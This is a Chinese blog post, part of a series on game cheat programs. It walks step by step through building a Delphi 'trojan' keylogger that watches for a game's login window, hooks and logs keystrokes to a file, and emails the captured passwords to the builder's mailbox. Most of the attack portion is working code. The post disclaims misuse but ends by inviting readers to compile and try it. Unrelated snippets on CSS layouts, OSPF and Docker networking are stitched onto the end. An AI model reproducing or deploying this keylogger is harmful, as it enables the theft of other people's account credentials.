四種網路遊戲外掛程式的設計方法(三)

2021-03-31 11:20:29 字數 2593 閱讀 2135

木馬式外掛程式

木馬式外掛程式,可能大多像木馬吧,是幫助做外掛程式的人偷取別人遊戲的帳號及密碼的東東。因為網路上有此類外掛程式的存在,所以今天不得不說一下(我個人是非常討厭這類外掛程式的,請看過本文的朋友不要到處亂用此技術,謝謝合作)。要做此類外掛程式的程式實現方法很多(比如hook,鍵盤監視等技術),因為hook技術對程式設計師的技術要求比較高並且在實際應用上需要多帶乙個動態鏈結庫,所以在文中我會以鍵盤監視技術來實現此類木馬的製作。鍵盤監視技術只需要乙個.exe檔案就能實現做到後台鍵盤監視,這個程式用這種技術來實現比較適合。

在做程式之前我們必需要了解一下程式的思路:

1、我們首先知道你想記錄遊戲的登入視窗名稱。

2、判斷登入視窗是否出現。

3、如果登入視窗出現,就記錄鍵盤。

4、當視窗關閉時,把記錄資訊,通過郵件傳送到程式設計者的郵箱。

第一點我就不具體分析了,因為你們比我還要了解你們玩的是什麼遊戲,登入視窗名稱是什麼。從第二點開始,我們就開始這類外掛程式的程式實現之旅:

那麼我們要怎麼樣判斷登入視窗雖否出現呢?其實這個很簡單,我們用findwindow函式就可以很輕鬆的實現了:

hwnd findwindow(

lpctstr lpclassname, // pointer to class name

lpctstr lpwindowname // pointer to window name

);實際程式實現中,我們要找到'xx'視窗,就用findwindow(nil,'xx')如果當返回值大於0時表示視窗已經出現,那麼我們就可以對鍵盤資訊進行記錄了。

先首我們用setwindowshookex設定監視日誌,而該函式的用法如下:

在這裡要說明的是在我們程式當中我們要對hookproc這裡我們要通過寫乙個函式,來實現而hinstance這裡我們直接用本程式的hinstance就可以了,具體實現方法為:

hhook := setwindowshookex(wh_journalrecord, hookproc, hinstance, 0);

而hookproc裡的函式就要複雜一點點:

function hookproc(icode: integer; wparam: wparam; lparam: lparam): lresult; stdcall;

begin

if findedtitle then file://如果發現視窗後

begin

if (peventmsg(lparam)^.message = wm_keydown) then file://訊息等於鍵盤按下

hookkey := hookkey + form1.keyhookresult(peventmsg(lparam)^.paraml, peventmsg(lparam)^.paramh); file://通過keyhookresult(自定義的函式,主要功能是轉換截獲的訊息引數為按鍵名稱。我會在文章尾附上轉化函式的)轉換訊息。

if length(hookkey) > 0 then file://如果獲得按鍵名稱

begin

write(hookkeyfile,hookkey); file://把按鍵名稱寫入文字檔案

hookkey := '';

end;

end;

end;

以上就是記錄鍵盤的整個過程,簡單吧,如果記錄完可不要忘記釋放呀,unhookwindowshookex(hhook),而hhook,就是建立setwindowshookex後所返回的控制代碼。

我們已經得到了鍵盤的記錄,那麼現在最後只要把記錄的這些資訊傳送回來,我們就大功造成了。其他傳送這塊並不是很難,只要把記錄從文字檔案裡邊讀出來,用delphi自帶的電子郵件元件發一下就萬事ok了。**如下:

assignfile(readfile,'hook.txt'); file://開啟hook.txt這個文字檔案

reset(readfile); file://設為讀取方式

try

while not eof(readfile) do file://當沒有讀到檔案尾

begin

readln(readfile,s,j); file://讀取檔案行

body:=body+s;

end;

finally

closefile(readfile); file://關閉檔案

end;

nm**tp1.encodetype:=uumime; file://設定編碼

nm**tp1.postmessage.attachments.text:=''; file://設定附件

nm**tp1.postmessage.fromaddress:='***@***.***'; file://設定源郵件位址

nm**tp1.postmessage.toaddress.text:='***@***.***'; /設定目標郵件位址

nm**tp1.postmessage.body.text:='密碼'+' '+body; file://設定郵件內容

nm**tp1.postmessage.subject:='password'; file://設定郵件標題

nm**tp1.sendmail; file://傳送郵件

這個程式全部功能已經實現,編編試試。

三欄布局的四種方法

1 絕對定位法 該方法有個明顯的缺點,就是如果中間欄含有最小寬度限制,或是含有寬度的內部元素,當瀏覽器寬度小到一定程度,會發生層重疊的情況。html left main right css 簡單的進行css reset body,html 左右絕對定位 left,right left right 中...

ospf的四種網路型別

1 點到點網路 不用進行dr和bdr的選舉,直接形成鄰接關係 2 廣播多路訪問 乙太網網路,需要進行dr和bdr的選舉 3 非廣播多路訪問 完全相連的fr網路 不能傳送廣播和組播報文,所以在幀中繼網路中,ospf沒有辦法通過傳送hello包來簡歷鄰居關係,只用使用單播方式來制定鄰居,命令如下 pee...

docker的四種網路模式

docker容器間通訊 實現原理 docker使用linux橋接,在宿主機虛擬乙個docker容器網橋 docker0 docker啟動乙個容器時會根據docker網橋的網段分配給容器乙個ip位址,稱為container ip,同時docker網橋是每個容器的預設閘道器。因為在同一宿主機內的容器都接...